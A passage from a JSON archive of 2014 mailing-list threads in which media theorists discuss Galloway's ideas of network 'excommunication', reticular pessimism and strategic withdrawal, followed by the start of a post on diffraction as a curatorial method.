bunker mentality and more about the reclaiming of a new experience of life and activity. \n\nRe: obsolescence of theory -- perhaps it hinges on *which* kind of theory? I don't agree with Latour and the notion that \"theory has run out of steam.\" Marxism, feminism, psycho-analysis -- they all still work great if you ask me. But I do think that a kind of \"vulgar 1968\" style of theory has run its course. Nancy Fraser has it exactly right: capitalism co-opted many of the demands of '68-style theory. So now we have to reassess and recompile a new kind of theoretical method. Because of this I'm much more interested in a slightly different spin on the theoretical tradition. \n\n-ag\n\n\nOn May 9, 2014, at 1:16 PM, Soraya Murray <semurray at ucsc.edu> wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> I am intrigued by this discussion, and would like to acknowledge the posts by Alex Galloway, Geert Lovink and Renate Ferro. Greetings to all of you. \n> \n> I keep circling back to the notion of strategic withdrawal, alluded to several times in the last few posts, as well as somewhat enigmatically toward the end of Alex's recent lecture here at UC Santa Cruz. For example, from his post: \n> \n> \"This book is not about the world \u201cfor us,\u201d and not the world \u201cin itself,\u201d but what Eugene calls \u201cthe world without us.\u201d\"\n> \n> This, in relation to Geert's recent essay in e-Flux (\"Hermes on the Hudson\"): \n> \"\"This leaves us with the question of the mandate and scope of today\u2019s media theory\u2014if there is anything left. Are you ready to hand over the \u201cnew media\u201d remains to the sociologists, museum curators, art historians, and other humanities officials? Can we perhaps stage a more imaginative \u201cact of disappearance\u201d? Are we ready to disguise ourselves amidst the new normality?\"\n> \n> ...and which seemed to betray a similar anxiety around obsolescence of theory -- or a strategy of withdrawal? With respect, is this to be seen as an act of battening down the hatches? Is this disappearance/disguise a radical strategy to shift perspective as a means to generate new possibility? Something conceded, or something new gained?\n",
                                "date": "Mon May 12 00:25:52 EST 2014",
                                "message-id": "7133",
                                "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-May/007133.html",
                                "content-type": "n/a",
                                "follow-up": [
                                    {
                                        "from": "swht at clear.net.nz",
                                        "id": "7135",
                                        "content": "Dear Alexander Galway and empyreans,\n\nI enjoyed your your letter, particularly for the notion of 'reticular \npessimism' as the /en abyme/ of a socio-cultural dispensation \nmirror-struck by its own mental processes. I even like the idea of the \nnetwork as meta-narrative and proof that pomo's over. However, the \nstrategies in play here rather than those of escape - blueprints of the \nprison studied in preparatory lucubration - seem to belong to the \nmentality of the captors - from the viewpoint of the cell, in clear \nsight of the tower, or power.\n\nAlbert-L\u00e1szl\u00f3 Barab\u00e1si attributes the invention of network theory to \nLeonhard Euler in the 1780s. I don't think either would agree with Mark \nZuckerberg, Donald Rumsfield, Bruno Latour, Franco Moretti, David \nJoselit, Guy Debord, John Von Neumann or Konrad Wachsmann that the \ncomplex fields of the respective engagements of this strangely \nfascinating (uncanny - reticularly depressing) roll-call ought to be or \ncan be reduced to what may be considered /network effects/. And, in some \ncases, /affects/ - where network is the nomination of a brand \nendorsement: Facebook is neither truly a network nor social.\n\nIn the same way, corpocratic concerns rhapsodise on the now highly \nrecognisable formula /Big Data/ - an object that has as much affinity \nwith a meta-narrative network as any of the individual cases adduced. \nThen there is the authorial tick of periodisation: after post-modernism \n(nostalgia for the post- or non-human?); and the obsolescence of the \n'68ers - the vulgarity of theoretical products reaching their use-by \ndates. Neither brand theory nor brand network provide any clue as to how \nto make a map that lets us get the hell out Dodge, or dodge the oncoming \ntraffic of the imminent - and in the name of brand immanence each holds \na pasteboard halo.\n\nIn the light of the network effects that theoretical dissipation - its \ncurrent /dispositif/ - elevates by the mechanism of reduction to \n/networks/ (pure, simple, unreal thing) or networkism - as that \ntheoretical cul-de-sac that ought at least be avoided - 'strategic \nwithdrawal' were better called 'statistical withdrawal' - a term less \npregnant with cognitive content.\n\nBest,\nSimon Taylor\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140512/49989c9d/attachment.htm>\n",
                                        "date": "Mon May 12 07:16:30 EST 2014",
                                        "message-id": "7135",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-May/007135.html",
                                        "content-type": "n/a",
                                        "author_name": "simon",
                                        "subject": "[-empyre-] Digital Delirium revisited"
                                    },
                                    {
                                        "content-type": "n/a",
                                        "from": "rferro at cornell.edu",
                                        "id": "7138",
                                        "content": "Thanks Alex for talking a bit more about your usage of the word\nexcommunication.  Also thanks to Christina for posting the interesting\ntheological intersections.  My thoughts were running more in parallel with\npolitical theory in listening to your last post, most particularly Martin\nLuther King's notion of non-violent resistance or perhaps Gandi's? .  Put\nsimply resistance by not participating, exiting the system, not \"playing\"\nany longer. I realize that in the book you conduct a pretty lengthy\ndiscussion about the use of the word \"excommunication\" a strategically\ntheologically implicit word but what do you think about Excommunication as\nresistance?  \nRenate\n\nOn 5/11/14 10:25 AM, \"Alexander R. Galloway\" <galloway at nyu.edu> wrote:\n\n>----------empyre- soft-skinned space----------------------\n>Dear Soraya & Co..\n>\n>I guess part of the impetus is that I'm surprised--if not unnerved--by\n>the way in which networks have captured and eclipsed other ways of\n>thinking. A new pantheon of dot-com philosophers reigns supreme today,\n>ready to proclaim at every turn that \u00b3everything is a network.\u00b2 Mark\n>Zuckerberg: people are networks. Donald Rumsfeld: the battlefield is a\n>network. Bruno Latour: ontology is a network. Franco Moretti: Hamlet is a\n>network. David Joselit: Art is a network. Guy Debord: the post-capitalist\n>city is a network. John Von Neumann: computation is a network. Konrad\n>Wachsmann: architecture is a network.\n>\n>Ladies and gentlemen, postmodernism is definitively over! We have a new\n>meta-narrative to guide us.\n>\n>We might label this a kind of \u00b3reticular pessimism.\u00b2 And here I'm taking\n>a cue from the notion of \u00b3Afro-pessimism\u00b2 in critical race theory. Just\n>as Afro-pessimism refers to the trap in which African-American identity\n>is only ever defined via the fetters of its own historical evolution,\n>reticular pessimism claims, in essence, that there is no escape from the\n>fetters of the network. There is no way to think in, through, or beyond\n>networks except in terms of networks themselves. According to reticular\n>pessimism, responses to networked power are only able to be conceived in\n>terms of other network forms. (And thus to fight Google and the NSA we\n>need ecologies, assemblages, or multiplicities.)\n>\n>By offering no alternative to the network form, reticular pessimism is\n>deeply cynical because it forecloses any kind of utopian thinking that\n>might entail an alternative to our many pervasive and invasive networks.\n>\n>This is part of the mandate of this book, as I see it: to articulate a\n>logic of being that is not reducible to a metaphysics of exchange, to a\n>metaphysics of the network. This to me is the promise of excommunication:\n>the message that says \u00b3there will be no more messages\u00b2; a logic of\n>relation, without the tired, old model of exchange.\n>\n>So, yes, strategic withdrawal is at the heart of what interests me most.\n>Some are a bit skeptical about this notion of withdrawal -- often because\n>they see in a negative light as alternatively a surrender monkey position\n>(i give up! i'm outta here!), or a position of privilege (the political\n>equivalent of opening a bank account in the Cayman Islands). But I see it\n>very differently. I see it more as a withdrawal from representation. A\n>structural withdrawal. I see it as a way to conceive of a kind of\n>practical utopia in the here and now. \"You don't represent us.\" \"No one\n>is illegal.\" \"I would prefer not to.\" \"We have no demands.\" Yes I realize\n>utopian thinking is very unfashionable today; that's precisely why we\n>need so much more of it. So perhaps less a bunker mentality and more\n>about the reclaiming of a new experience of life and activity.\n>\n>Re: obsolescence of theory -- perhaps it hinges on *which* kind of\n>theory? I don't agree with Latour and the notion that \"theory has run out\n>of steam.\" Marxism, feminism, psycho-analysis -- they all still work\n>great if you ask me. But I do think that a kind of \"vulgar 1968\" style of\n>theory has run its course. Nancy Fraser has it exactly right: capitalism\n>co-opted many of the demands of '68-style theory. So now we have to\n>reassess and recompile a new kind of theoretical method. Because of this\n>I'm much more interested in a slightly different spin on the theoretical\n>tradition. \n>\n>-ag\n>\n>\n>On May 9, 2014, at 1:16 PM, Soraya Murray <semurray at ucsc.edu> wrote:\n>\n>> ----------empyre- soft-skinned space----------------------\n>> I am intrigued by this discussion, and would like to acknowledge the\n>>posts by Alex Galloway, Geert Lovink and Renate Ferro. Greetings to all\n>>of you. \n>> \n>> I keep circling back to the notion of strategic withdrawal, alluded to\n>>several times in the last few posts, as well as somewhat enigmatically\n>>toward the end of Alex's recent lecture here at UC Santa Cruz. For\n>>example, from his post:\n>> \n>> \"This book is not about the world \u00b3for us,\u00b2 and not the world \u00b3in\n>>itself,\u00b2 but what Eugene calls \u00b3the world without us.\u00b2\"\n>> \n>> This, in relation to Geert's recent essay in e-Flux (\"Hermes on the\n>>Hudson\"): \n>> \"\"This leaves us with the question of the mandate and scope of today\u00b9s\n>>media theory\u2039if there is anything left. Are you ready to hand over the\n>>\u00b3new media\u00b2 remains to the sociologists, museum curators, art\n>>historians, and other humanities officials? Can we perhaps stage a more\n>>imaginative \u00b3act of disappearance\u00b2? Are we ready to disguise ourselves\n>>amidst the new normality?\"\n>> \n>> ...and which seemed to betray a similar anxiety around obsolescence of\n>>theory -- or a strategy of withdrawal? With respect, is this to be seen\n>>as an act of battening down the hatches? Is this disappearance/disguise\n>>a radical strategy to shift perspective as a means to generate new\n>>possibility? Something conceded, or something new gained?\n>_______________________________________________\n>empyre forum\n>empyre at lists.cofa.unsw.edu.au\n>http://www.subtle.net/empyre\n\n",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-May/007138.html",
                                        "message-id": "7138",
                                        "date": "Tue May 13 12:36:14 EST 2014",
                                        "list": "empyre",
                                        "author_name": "Renate Terese Ferro",
                                        "subject": "[-empyre-] Digital Delirium revisited"
                                    },
                                    {
                                        "from": "melinda at subtle.net",
                                        "id": "7149",
                                        "content": "Hi all,\n as a story teller not a theorist, \nI've been loving the lateral directions these conversations have taken.\n yet they feel like new growth on a tree, reaching towards different strong lights\nstrong potential, but sparse as foliage and flowers are still in their formative stages.\n\nI think it would be telling to revisit in a year or so.\nbut for now\nmy branch is of truncation \n- physical and geographic excommunication.\n\nIs this a \"natural\" evolution - a generational love affair with the network that has matured and dwindled,\na set of circumstance, a natural hiatus, a time to move on?\nFor me it  writing stories about people for print books made from trees, \nof interest to only a tiny fragment of society.\nthe narrowest of narrowcast.\n\nIt could be seen as a privileged withdrawal... the Duchampian retreat,\nor it could be seen as a form of situated resistance...  living local.\n\nRenate writes:\n\n> Lovink insists that it is not necessary or important to parse new media theories through comparative geographic distributions. \n> \nYet it is particularly European perspective to Snowden. 1st rule of fight club is that you dont talk about fight club.\nIf one doesn't live in the gated network of USA, we already live in a states of excommunication, or perhaps ecstatic ex-stasis.\n\nOf course im saying all of this without having read excommunication \na position I take perhaps because I cant buy it in e-edition due to my geographical location in Australia.\nOf course I do have a copy ive dipped into because the internet if for routing around.. \nbut u know.. who we are, \nand who we are routing around has changed.\n\nWe knew the end was coming when\nthe moddr_lab at WORM in Rotterdam developed  \nthe fabulous web2.0 Suicide machine..\n http://suicidemachine.org\n\n\"sign out forever\"\nwhat a promise. \n5 years ago when I saw my 1500 best Facebook friends disappear before me \nI knew everything had changed.\nsome non-artist/academic contacts, contacted me to see if I was emotionally  ok?\n was I really suicidal?\n why would I deliberately unjoin the network?\n \n6 months ago I moved to a mostly abandoned industrial area quiet close to the city centre, \ntoxins buried deep, being gentrified with creatives as the shock troops.\nInterestingly I have no fixed network connection.\nI have been extra excommunicated by lack of infrastructure in a first(?) world city of 1 million. \nThe fat optical rollout goes right past my suburb \nand its previously sparse low income politically unimportant demographics.\n\nAfter the shock of being denied what I felt like was my god given right to fast connection, \nI started to like my very physical excommunication. \nI choose to tether to get on,\nto jack in, as they used to say.\na delicious nostalgia for the 14.4k baud modem \nthe sound of which will forever generate excitement\nand the deliberate act of communing\nrather than the constancy of familial relationship.\n \n\nx-communictedly\n Melinda\n\n\n\nOn 13/05/2014, at 12:06 PM, Renate Terese Ferro wrote:\n\n> ----------empyre- soft-skinned space----------------------\n> Thanks Alex for talking a bit more about your usage of the word\n> excommunication.  Also thanks to Christina for posting the interesting\n> theological intersections.  My thoughts were running more in parallel with\n> political theory in listening to your last post, most particularly Martin\n> Luther King's notion of non-violent resistance or perhaps Gandi's? .  Put\n> simply resistance by not participating, exiting the system, not \"playing\"\n> any longer. I realize that in the book you conduct a pretty lengthy\n> discussion about the use of the word \"excommunication\" a strategically\n> theologically implicit word but what do you think about Excommunication as\n> resistance?  \n> Renate\n> \n> On 5/11/14 10:25 AM, \"Alexander R. Galloway\" <galloway at nyu.edu> wrote:\n> \n>> ----------empyre- soft-skinned space----------------------\n>> Dear Soraya & Co..\n>> \n>> I guess part of the impetus is that I'm surprised--if not unnerved--by\n>> the way in which networks have captured and eclipsed other ways of\n>> thinking. A new pantheon of dot-com philosophers reigns supreme today,\n>> ready to proclaim at every turn that \u00b3everything is a network.\u00b2 Mark\n>> Zuckerberg: people are networks. Donald Rumsfeld: the battlefield is a\n>> network. Bruno Latour: ontology is a network. Franco Moretti: Hamlet is a\n>> network. David Joselit: Art is a network. Guy Debord: the post-capitalist\n>> city is a network. John Von Neumann: computation is a network. Konrad\n>> Wachsmann: architecture is a network.\n>> \n>> Ladies and gentlemen, postmodernism is definitively over! We have a new\n>> meta-narrative to guide us.\n>> \n>> We might label this a kind of \u00b3reticular pessimism.\u00b2 And here I'm taking\n>> a cue from the notion of \u00b3Afro-pessimism\u00b2 in critical race theory. Just\n>> as Afro-pessimism refers to the trap in which African-American identity\n>> is only ever defined via the fetters of its own historical evolution,\n>> reticular pessimism claims, in essence, that there is no escape from the\n>> fetters of the network. There is no way to think in, through, or beyond\n>> networks except in terms of networks themselves. According to reticular\n>> pessimism, responses to networked power are only able to be conceived in\n>> terms of other network forms. (And thus to fight Google and the NSA we\n>> need ecologies, assemblages, or multiplicities.)\n>> \n>> By offering no alternative to the network form, reticular pessimism is\n>> deeply cynical because it forecloses any kind of utopian thinking that\n>> might entail an alternative to our many pervasive and invasive networks.\n>> \n>> This is part of the mandate of this book, as I see it: to articulate a\n>> logic of being that is not reducible to a metaphysics of exchange, to a\n>> metaphysics of the network. This to me is the promise of excommunication:\n>> the message that says \u00b3there will be no more messages\u00b2; a logic of\n>> relation, without the tired, old model of exchange.\n>> \n>> So, yes, strategic withdrawal is at the heart of what interests me most.\n>> Some are a bit skeptical about this notion of withdrawal -- often because\n>> they see in a negative light as alternatively a surrender monkey position\n>> (i give up! i'm outta here!), or a position of privilege (the political\n>> equivalent of opening a bank account in the Cayman Islands). But I see it\n>> very differently. I see it more as a withdrawal from representation. A\n>> structural withdrawal. I see it as a way to conceive of a kind of\n>> practical utopia in the here and now. \"You don't represent us.\" \"No one\n>> is illegal.\" \"I would prefer not to.\" \"We have no demands.\" Yes I realize\n>> utopian thinking is very unfashionable today; that's precisely why we\n>> need so much more of it. So perhaps less a bunker mentality and more\n>> about the reclaiming of a new experience of life and activity.\n>> \n>> Re: obsolescence of theory -- perhaps it hinges on *which* kind of\n>> theory? I don't agree with Latour and the notion that \"theory has run out\n>> of steam.\" Marxism, feminism, psycho-analysis -- they all still work\n>> great if you ask me. But I do think that a kind of \"vulgar 1968\" style of\n>> theory has run its course. Nancy Fraser has it exactly right: capitalism\n>> co-opted many of the demands of '68-style theory. So now we have to\n>> reassess and recompile a new kind of theoretical method. Because of this\n>> I'm much more interested in a slightly different spin on the theoretical\n>> tradition. \n>> \n>> -ag\n>> \n>> \n>> On May 9, 2014, at 1:16 PM, Soraya Murray <semurray at ucsc.edu> wrote:\n>> \n>>> ----------empyre- soft-skinned space----------------------\n>>> I am intrigued by this discussion, and would like to acknowledge the\n>>> posts by Alex Galloway, Geert Lovink and Renate Ferro. Greetings to all\n>>> of you. \n>>> \n>>> I keep circling back to the notion of strategic withdrawal, alluded to\n>>> several times in the last few posts, as well as somewhat enigmatically\n>>> toward the end of Alex's recent lecture here at UC Santa Cruz. For\n>>> example, from his post:\n>>> \n>>> \"This book is not about the world \u00b3for us,\u00b2 and not the world \u00b3in\n>>> itself,\u00b2 but what Eugene calls \u00b3the world without us.\u00b2\"\n>>> \n>>> This, in relation to Geert's recent essay in e-Flux (\"Hermes on the\n>>> Hudson\"): \n>>> \"\"This leaves us with the question of the mandate and scope of today\u00b9s\n>>> media theory\u2039if there is anything left. Are you ready to hand over the\n>>> \u00b3new media\u00b2 remains to the sociologists, museum curators, art\n>>> historians, and other humanities officials? Can we perhaps stage a more\n>>> imaginative \u00b3act of disappearance\u00b2? Are we ready to disguise ourselves\n>>> amidst the new normality?\"\n>>> \n>>> ...and which seemed to betray a similar anxiety around obsolescence of\n>>> theory -- or a strategy of withdrawal? With respect, is this to be seen\n>>> as an act of battening down the hatches? Is this disappearance/disguise\n>>> a radical strategy to shift perspective as a means to generate new\n>>> possibility? Something conceded, or something new gained?\n>> _______________________________________________\n>> empyre forum\n>> empyre at lists.cofa.unsw.edu.au\n>> http://www.subtle.net/empyre\n> \n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n\n",
                                        "date": "Sun May 25 14:03:57 EST 2014",
                                        "message-id": "7149",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-May/007149.html",
                                        "content-type": "n/a",
                                        "author_name": "Melinda Rackham",
                                        "subject": "[-empyre-] Digital Delirium revisited"
                                    },
                                    {
                                        "from": "oabirch at gmail.com",
                                        "id": "7150",
                                        "content": "Thanks to Milinda.\n\n\n2014-05-25 6:03 GMT+02:00 Melinda Rackham <melinda at subtle.net>:\n\n> ----------empyre- soft-skinned space----------------------\n> Hi all,\n>  as a story teller not a theorist,\n> I've been loving the lateral directions these conversations have taken.\n>  yet they feel like new growth on a tree, reaching towards different\n> strong lights\n> strong potential, but sparse as foliage and flowers are still in their\n> formative stages.\n>\n> I think it would be telling to revisit in a year or so.\n> but for now\n> my branch is of truncation\n> - physical and geographic excommunication.\n>\n> Is this a \"natural\" evolution - a generational love affair with the\n> network that has matured and dwindled,\n> a set of circumstance, a natural hiatus, a time to move on?\n> For me it  writing stories about people for print books made from trees,\n> of interest to only a tiny fragment of society.\n> the narrowest of narrowcast.\n>\n> It could be seen as a privileged withdrawal... the Duchampian retreat,\n> or it could be seen as a form of situated resistance...  living local.\n>\n> Renate writes:\n>\n> > Lovink insists that it is not necessary or important to parse new media\n> theories through comparative geographic distributions.\n> >\n> Yet it is particularly European perspective to Snowden. 1st rule of fight\n> club is that you dont talk about fight club.\n> If one doesn't live in the gated network of USA, we already live in a\n> states of excommunication, or perhaps ecstatic ex-stasis.\n>\n> Of course im saying all of this without having read excommunication\n> a position I take perhaps because I cant buy it in e-edition due to my\n> geographical location in Australia.\n> Of course I do have a copy ive dipped into because the internet if for\n> routing around..\n> but u know.. who we are,\n> and who we are routing around has changed.\n>\n> We knew the end was coming when\n> the moddr_lab at WORM in Rotterdam developed\n> the fabulous web2.0 Suicide machine..\n>  http://suicidemachine.org\n>\n> \"sign out forever\"\n> what a promise.\n> 5 years ago when I saw my 1500 best Facebook friends disappear before me\n> I knew everything had changed.\n> some non-artist/academic contacts, contacted me to see if I was\n> emotionally  ok?\n>  was I really suicidal?\n>  why would I deliberately unjoin the network?\n>\n> 6 months ago I moved to a mostly abandoned industrial area quiet close to\n> the city centre,\n> toxins buried deep, being gentrified with creatives as the shock troops.\n> Interestingly I have no fixed network connection.\n> I have been extra excommunicated by lack of infrastructure in a first(?)\n> world city of 1 million.\n> The fat optical rollout goes right past my suburb\n> and its previously sparse low income politically unimportant demographics.\n>\n> After the shock of being denied what I felt like was my god given right to\n> fast connection,\n> I started to like my very physical excommunication.\n> I choose to tether to get on,\n> to jack in, as they used to say.\n> a delicious nostalgia for the 14.4k baud modem\n> the sound of which will forever generate excitement\n> and the deliberate act of communing\n> rather than the constancy of familial relationship.\n>\n>\n> x-communictedly\n>  Melinda\n>\n>\n>\n> On 13/05/2014, at 12:06 PM, Renate Terese Ferro wrote:\n>\n> > ----------empyre- soft-skinned space----------------------\n> > Thanks Alex for talking a bit more about your usage of the word\n> > excommunication.  Also thanks to Christina for posting the interesting\n> > theological intersections.  My thoughts were running more in parallel\n> with\n> > political theory in listening to your last post, most particularly Martin\n> > Luther King's notion of non-violent resistance or perhaps Gandi's? .  Put\n> > simply resistance by not participating, exiting the system, not \"playing\"\n> > any longer. I realize that in the book you conduct a pretty lengthy\n> > discussion about the use of the word \"excommunication\" a strategically\n> > theologically implicit word but what do you think about Excommunication\n> as\n> > resistance?\n> > Renate\n> >\n> > On 5/11/14 10:25 AM, \"Alexander R. Galloway\" <galloway at nyu.edu> wrote:\n> >\n> >> ----------empyre- soft-skinned space----------------------\n> >> Dear Soraya & Co..\n> >>\n> >> I guess part of the impetus is that I'm surprised--if not unnerved--by\n> >> the way in which networks have captured and eclipsed other ways of\n> >> thinking. A new pantheon of dot-com philosophers reigns supreme today,\n> >> ready to proclaim at every turn that \u00b3everything is a network.\u00b2 Mark\n> >> Zuckerberg: people are networks. Donald Rumsfeld: the battlefield is a\n> >> network. Bruno Latour: ontology is a network. Franco Moretti: Hamlet is\n> a\n> >> network. David Joselit: Art is a network. Guy Debord: the\n> post-capitalist\n> >> city is a network. John Von Neumann: computation is a network. Konrad\n> >> Wachsmann: architecture is a network.\n> >>\n> >> Ladies and gentlemen, postmodernism is definitively over! We have a new\n> >> meta-narrative to guide us.\n> >>\n> >> We might label this a kind of \u00b3reticular pessimism.\u00b2 And here I'm taking\n> >> a cue from the notion of \u00b3Afro-pessimism\u00b2 in critical race theory. Just\n> >> as Afro-pessimism refers to the trap in which African-American identity\n> >> is only ever defined via the fetters of its own historical evolution,\n> >> reticular pessimism claims, in essence, that there is no escape from the\n> >> fetters of the network. There is no way to think in, through, or beyond\n> >> networks except in terms of networks themselves. According to reticular\n> >> pessimism, responses to networked power are only able to be conceived in\n> >> terms of other network forms. (And thus to fight Google and the NSA we\n> >> need ecologies, assemblages, or multiplicities.)\n> >>\n> >> By offering no alternative to the network form, reticular pessimism is\n> >> deeply cynical because it forecloses any kind of utopian thinking that\n> >> might entail an alternative to our many pervasive and invasive networks.\n> >>\n> >> This is part of the mandate of this book, as I see it: to articulate a\n> >> logic of being that is not reducible to a metaphysics of exchange, to a\n> >> metaphysics of the network. This to me is the promise of\n> excommunication:\n> >> the message that says \u00b3there will be no more messages\u00b2; a logic of\n> >> relation, without the tired, old model of exchange.\n> >>\n> >> So, yes, strategic withdrawal is at the heart of what interests me most.\n> >> Some are a bit skeptical about this notion of withdrawal -- often\n> because\n> >> they see in a negative light as alternatively a surrender monkey\n> position\n> >> (i give up! i'm outta here!), or a position of privilege (the political\n> >> equivalent of opening a bank account in the Cayman Islands). But I see\n> it\n> >> very differently. I see it more as a withdrawal from representation. A\n> >> structural withdrawal. I see it as a way to conceive of a kind of\n> >> practical utopia in the here and now. \"You don't represent us.\" \"No one\n> >> is illegal.\" \"I would prefer not to.\" \"We have no demands.\" Yes I\n> realize\n> >> utopian thinking is very unfashionable today; that's precisely why we\n> >> need so much more of it. So perhaps less a bunker mentality and more\n> >> about the reclaiming of a new experience of life and activity.\n> >>\n> >> Re: obsolescence of theory -- perhaps it hinges on *which* kind of\n> >> theory? I don't agree with Latour and the notion that \"theory has run\n> out\n> >> of steam.\" Marxism, feminism, psycho-analysis -- they all still work\n> >> great if you ask me. But I do think that a kind of \"vulgar 1968\" style\n> of\n> >> theory has run its course. Nancy Fraser has it exactly right: capitalism\n> >> co-opted many of the demands of '68-style theory. So now we have to\n> >> reassess and recompile a new kind of theoretical method. Because of this\n> >> I'm much more interested in a slightly different spin on the theoretical\n> >> tradition.\n> >>\n> >> -ag\n> >>\n> >>\n> >> On May 9, 2014, at 1:16 PM, Soraya Murray <semurray at ucsc.edu> wrote:\n> >>\n> >>> ----------empyre- soft-skinned space----------------------\n> >>> I am intrigued by this discussion, and would like to acknowledge the\n> >>> posts by Alex Galloway, Geert Lovink and Renate Ferro. Greetings to all\n> >>> of you.\n> >>>\n> >>> I keep circling back to the notion of strategic withdrawal, alluded to\n> >>> several times in the last few posts, as well as somewhat enigmatically\n> >>> toward the end of Alex's recent lecture here at UC Santa Cruz. For\n> >>> example, from his post:\n> >>>\n> >>> \"This book is not about the world \u00b3for us,\u00b2 and not the world \u00b3in\n> >>> itself,\u00b2 but what Eugene calls \u00b3the world without us.\u00b2\"\n> >>>\n> >>> This, in relation to Geert's recent essay in e-Flux (\"Hermes on the\n> >>> Hudson\"):\n> >>> \"\"This leaves us with the question of the mandate and scope of today\u00b9s\n> >>> media theory\u2039if there is anything left. Are you ready to hand over the\n> >>> \u00b3new media\u00b2 remains to the sociologists, museum curators, art\n> >>> historians, and other humanities officials? Can we perhaps stage a more\n> >>> imaginative \u00b3act of disappearance\u00b2? Are we ready to disguise ourselves\n> >>> amidst the new normality?\"\n> >>>\n> >>> ...and which seemed to betray a similar anxiety around obsolescence of\n> >>> theory -- or a strategy of withdrawal? With respect, is this to be seen\n> >>> as an act of battening down the hatches? Is this disappearance/disguise\n> >>> a radical strategy to shift perspective as a means to generate new\n> >>> possibility? Something conceded, or something new gained?\n> >> _______________________________________________\n> >> empyre forum\n> >> empyre at lists.cofa.unsw.edu.au\n> >> http://www.subtle.net/empyre\n> >\n> > _______________________________________________\n> > empyre forum\n> > empyre at lists.cofa.unsw.edu.au\n> > http://www.subtle.net/empyre\n>\n> _______________________________________________\n> empyre forum\n> empyre at lists.cofa.unsw.edu.au\n> http://www.subtle.net/empyre\n>\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://lists.cofa.unsw.edu.au/pipermail/empyre/attachments/20140525/c23de9dd/attachment.htm>\n",
                                        "date": "Sun May 25 19:11:07 EST 2014",
                                        "message-id": "7150",
                                        "url": "http://lists.cofa.unsw.edu.au/pipermail/empyre/2014-May/007150.html",
                                        "content-type": "n/a",
                                        "author_name": "ole a. birch",
                                        "subject": "[-empyre-] Digital Delirium revisited"
                                    }
                                ],
                                "subject": "[-empyre-] Digital Delirium revisited"
                            }
                        ],
                        "subject": "[-empyre-] Digital Delirium revisited"
                    }
                ],
                "message-id": "7130",
                "date": "Fri May  9 14:38:11 EST 2014",
                "list": "empyre",
                "author_name": "Renate Terese Ferro",
                "subject": "[-empyre-] Digital Delirium revisited"
            },
            {
                "content-type": "text/plain",
                "from": "Helen Pritchard",
                "content": "\nHello,\n\nThankyou Roddy for the invitation to be part of this discussion and also thanks to the other respondents for their comments and thoughts so far\u2026I have a few tentative notes and responses and I want to start first of all with the notion of diffraction...\n\nWhat is interesting about the questions you are posing is that in a way it sets up a space for productively reading \u2018network culture\u2019, \u2018curating\u2019 and \u2018Fluxus\u2019 through each other - as an affirmative process.  Which could perhaps be thought of as the process that Donna Haraway and Karen Barad have described as 'diffraction'. [1]. As Barad explains diffraction is a productive methodology and \n\n\" a method of diffractively reading insights through one another, building new insights, and attentively and carefully reading for differences that matter in their fine details, together with the recognition that there intrinsic to this analysis is an ethics that is not predicated on externality but rather entanglement. Diffractive readings bring inventive provocations; they are good to think with. They are respectful, detailed, ethical engagements.\" [2]\n\nDiffraction as a methodology is something we are currently exploring in the work I am undertaking with Jane Prophet [3], Winnie Soon [4] and Fran Perona [5] at the School of Creative Media, City University Hong Kong. In our research we have become increasingly interested in considering not just \u2018reading\u2019 the blind spots of theory against each other but also diffracting \u2018practices\u2019 through each other such as diffracting arts practice through the practice of nano science or the practice of archiving through the practice of network art.  \n\nDiffraction as Iris Van der Tuin explains, \u201cis meant to disrupt linear and \ufb01xed causalities, and to work toward \u2018\u2018more promising interference patterns\u2019\u2019 [6].  It is practiced by reading one text through another text and the rewriting. Disrupting the temporality of the piece and opening up meanings in new contexts. \n\nI bring up this idea of diffracting practices through one another in response to Clive\u2019s earlier comments about the possibility for curating as the network as a practice of \u2018caring\u2019 for the/a network/s and Marc\u2019s suggestion that much of the work they engage with at furtherfield, artists/collectives such as YOHA and Platform, \u201cmeet, not through style or as part of a field of practice, but as contemporary artistic practitioners exploring their own states of agency in a world where our \u2018public\u2019 interfaces are as much a necessary place of creative engagement\u201d. It also relates to Ken's comments outlining the question \"what is a network?\" and perhaps - how we begin to become attuned to what a network is/and or might be otherwise. The matter of becoming attuned - is something I was alerted to recently in discussion with Kathryn Yusoff [7]. \n\nIt seems to me that many artists that engage with network ecology often use the methodology of diffraction to become attuned to its performativity - to what it includes or excludes in what Adrian Mckenzie might describe as the processes of circulation [8].  Artists often diffract one practice through another to expose its blind spots - such as in the network reading group work \u201cCommon Practice\u201d initiated by Magda Ty\u017clik-Carver [9]. In this work online reading practices are diffracted through the practice of curating and the practice of \u201ccommoning\u201d. Not in order to control, order or stabilise these reading practices but as a way to become attuned to both limitations and the indeterminate possibilities of both networks and curating. \n\nAs  Magda explains \u201c the subject of my research which proposes to understand curating in/as common/s. If the common, as Hardt and Negri say (256), is discovered and produced through joyful encounters, then perhaps writing about curating in/as common/s should be also done with others. [10]\n\n- more soon :)\nHelen \n\n[1] Karen Barad, Meeting the Universe Halfway: Quantum Physics and the Entanglement of Matter and Meaning. Durham: Duke UP, 2007\n[2] http://quod.lib.umich.edu/o/ohp/11515701.0001.001/1:4.3/--new-materialism-interviews-cartographies?rgn=div2;view=fulltext\n[3] http://www.janeprophet.com/\n[4] http://www.siusoon.com/home/\n[5] http://www.francescaperona.com/\n[7] http://www.lec.lancs.ac.uk/people/Kathryn_Yusoff\n[8] Adrian Mackenzie, 'The Performativity of Code: Software and Cultures of Circulation', Theory, Culture & Society_, vol. 22, no. 1, London: Sage, 2005, pp. 71-92.\n[9] http://www.magda.thecommonpractice.org/index.php?/projects/common-practicecode/\n[10] http://www.aprja.net/?p=460",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind1302&L=new-media-curating&F=&S=&P=33950",
                "follow-up": [
                    {
                        "content-type": "text/plain",
                        "from": "Gary Hall",
